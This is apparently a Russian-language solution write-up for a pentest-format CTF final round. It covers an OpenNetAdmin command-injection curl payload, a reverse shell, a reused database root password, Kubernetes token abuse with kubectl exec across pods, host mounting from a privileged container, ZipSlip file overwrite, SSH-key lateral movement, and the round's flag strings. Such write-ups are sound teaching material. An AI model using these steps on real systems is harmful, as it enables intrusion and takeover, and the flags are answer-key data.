Второй тур заключительного этапа

Второй тур заключительного этапа прошел на специальной платформе в формате pentest.

Особенности тура:

● Длительность тура: 6 астрономических часов.

● Для участия в туре для каждой команды были созданы виртуальные машины. Задача заключалась в том, чтобы получить права доступа, найти флаги и написать отчет о проделанной работе.

● Участникам предоставлялась связка логин-пароль для каждой команды.

● На каждой виртуальной машине содержалось некоторое количество флагов. Заранее участникам было известно только общее количество флагов на двух машинах - 7 штук.

● Флаги хранились в файлах или переменных и были однозначно идентифицируемы.

● Флаги сдавались в АТС. В ней был доступен интерфейс доступа к машинам, их перезагрузке и рейтингу команд.

● Учитывалось время решений каждого уровня. Каждую минуту отнималось одинаковое количество баллов.

● Итоговые набранные баллы конвертировались в 5-балльную систему.

● Участникам также было необходимо написать отчет о проделанной работе по шаблону, который содержал следующие пункты:

- Сбор информации (определение объема тестов на проникновение, сети).
- Перечисление сервисов (сбор информации о том, какие сервисы существуют в системе или системах).
- Проникновение (тип эксплуатируемой уязвимости, уязвимая система, патч или фикс, критичность, найденный флаг, PoC, рекомендации по устранению уязвимостей, скриншоты).

Задания второго тура заключительного этапа

Initial Access

После сканирования двух айпи любым сканером (например, nmap) получаем следующую картину:

```
#machine1:
22 port - ssh
80 port - OpenNetAdmin web service
```

```
#machine2
22 port - ssh
80 port - nginx (сайт - одностраничник)
443 port - nginx ssl
```

Есть информация, что машины взаимосвязаны.

Первый токен - machine2

Запускаем любой web dir search сканер на ip machine2 и по пути <ip>admin/index.html получаем первый токен в чистом виде.

innoctf0d99f723f0bdc83dfc9cf95db

Второй токен и начальный доступ на machine1

Проверяем версию OpenNetAdmin, которая крутиться на 80 порту, и обнаруживаем что она подвержена RCE

Эксплуатируем:

```bash
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";<command, for example whoami>;echo \"END\"&xajaxargs[]=ping" "<ip>" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
```

Получаем вывод:

```
Bash
1  www-data
```

Пробрасываем reverse-shell (можно воспользоваться сервисом для генерации) и осматриваемся внутри машины.

Второй токен располагается рядом с исходником сервиса в файле token:

innoctf5d409dbcd067ea089dd1c2cd9

Третий токен

Далее смотрим через git log или руками находим файл **database.backup,** в котором хранились креды для подключения к базе данных:

```
Bash
1  ALTER USER 'root'@'localhost' IDENTIFIED BY
2  'sUp3rP@$$w0rd!';
```

login: root

password: sUp3rP@$$w0rd!

Подключаемся к БД:

```
Bash
1  mysql -u root -p <password>
```

И проверяем доступные базы данных, находим БД token и забираем следующий токен:

```
Bash
1  show database;
2  use token;
3  select * from token.token;
```

innoctfc3f2dc355308d39841f3444a8

Альтернативный вариант

Вместо просмотра файла database.backup можно было открыть файл настроек БД для ona:

/var/www/html/ona/config/database_settings.inc.php

Дальнейшие шаги абсолютно идентичны.

Получение root-прав на pod-ona machine1

Помимо доступа к БД этот же пароль подходил к УЗ root на данном поде:

```Bash
su root
```

Таким образом можно было полностью захватить машину и увидеть, что мы находимся в kubernetes окружении внутри пода (KUBEERNETES_SECRET в $ENV)

Так же забираем четвертый токен по пути root/token:

innoctfcef8f861632cbae5660720f36

Проверка доступных команд с использованием секрета kubernetes_secret

Т.к. мы имеем доступ к переменной $KUBERNETES_SECRET - можно посмотреть, что нам доступно с помощью этого токена, обратившись на локальное API кубера прям из пода:

```Bash
curl -k -H "Authorization: Bearer $KUBERNETES_SECRET"
https://kubernetes.default.svc/api/v1/namespaces/default/pods
```

Получаем вывод, что мы можем делать list/exec pod.

Захват второго пода pod_site

Для упрощения эксплуатации необходимо было сделать несколько действий:

1. Починить интернет внутри пода, поправив /etc/resolv.conf и добавив nameserver 8.8.8.8
2. Скачать kubectl:

```Bash
curl -LO "https://dl.k8s.io/release/$(curl -L -s
https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x kubectl
mv kubectl /usr/local/bin/
```

Теперь можно без проблем сделать list и exec в другой под:

```bash
kubectl get pods # get a name for second pod
kubectl exec -it <pod_name> -- /bin/bash # exec to another port
```

В данном поде так же сразу находим /root/token:

innoctf0b85ac5d722bef34e2c82d9ef

Анализируем исходный код, доступный внутри пода, видим страничку с сайта на machine2 и так же некоторый сайт в main.py с уявзимостью ZipSlip.

И дальше есть несколько путей решений:

Способ первый - привилегированный контейнер и нахождение сабдомена

Для того что бы проэксплуатировать уязвимость на второй машине - необходимо получить доступ к сабдомену (узнать его имя и явно указать соответствие dns имени и ip в etc/hosts).

Для начала можно заметить что мы находимся в **привилегированном контейнере,** а значит можем примонтировать систему исходного хоста.

Теперь мы можем изучить файл /etc/hosts и увидить там отслыку на subdomain https://administrative-resource-portal.inno-open25-infosec.ru

Остается сопоставить ip второй машины и этот домен в локальном /etc/hosts и перейти к следующему шагу.

Способ второй - поиск по ssl сертификату

Если обратить внимание на оставленные подсказки - становиться понятно что есть домен https://inno-open25-infosec.ru и у него есть некоторые поддомены, так же оставлена заметка про выпуск сертификатов. Используя ресурс crt.sh или поиск по censys можно найти среди выпущенных сертификатов по имени домена сертификат на поддомен https://administrative-resource-portal.inno-open25-infosec.ru

Так же соотносим его со вторым данным айпи в локальном /etc/hosts и переходим к взлому machine2

Machine 2: атака ZipSlip и перезапись файла

Обращаемся на доступный нам домен https://administrative-resource-portal.inno-open25-infosec.ru и видим там точно такой же ресурс, исходный код которого нам был дан на предыдущих шагах. Анализ кода показывает, что он уявзим к атаке вида ZipSlip, когда при распаковке архива мы можем переписать кусок исходного кода сайта. Можно атаковать как файл main.py (перезапустится, так как стоит параметр debug=True) или перезаписать template/index.html и добавить туда SSTI обработчик.

Можно воспользоваться готовым эксплоитом

Таким образом получаем доступ до сайта на machine2 и забираем еще один токен:

innoctf70f96977c1e2e5e45b2ab671c

Machine2 -> Machine1 via ssh key

Осматриваемся на машине и находим в директории /root файлик key, являющийся приватным ключем ssh.

Пробуем подключиться с помощью него под УЗ root на 1 машине и забираем последний токен и полностью захватываем все управление над обоими машинами + всеми подами в minikube

innoctf1be4356da5b9444a804f2d3d5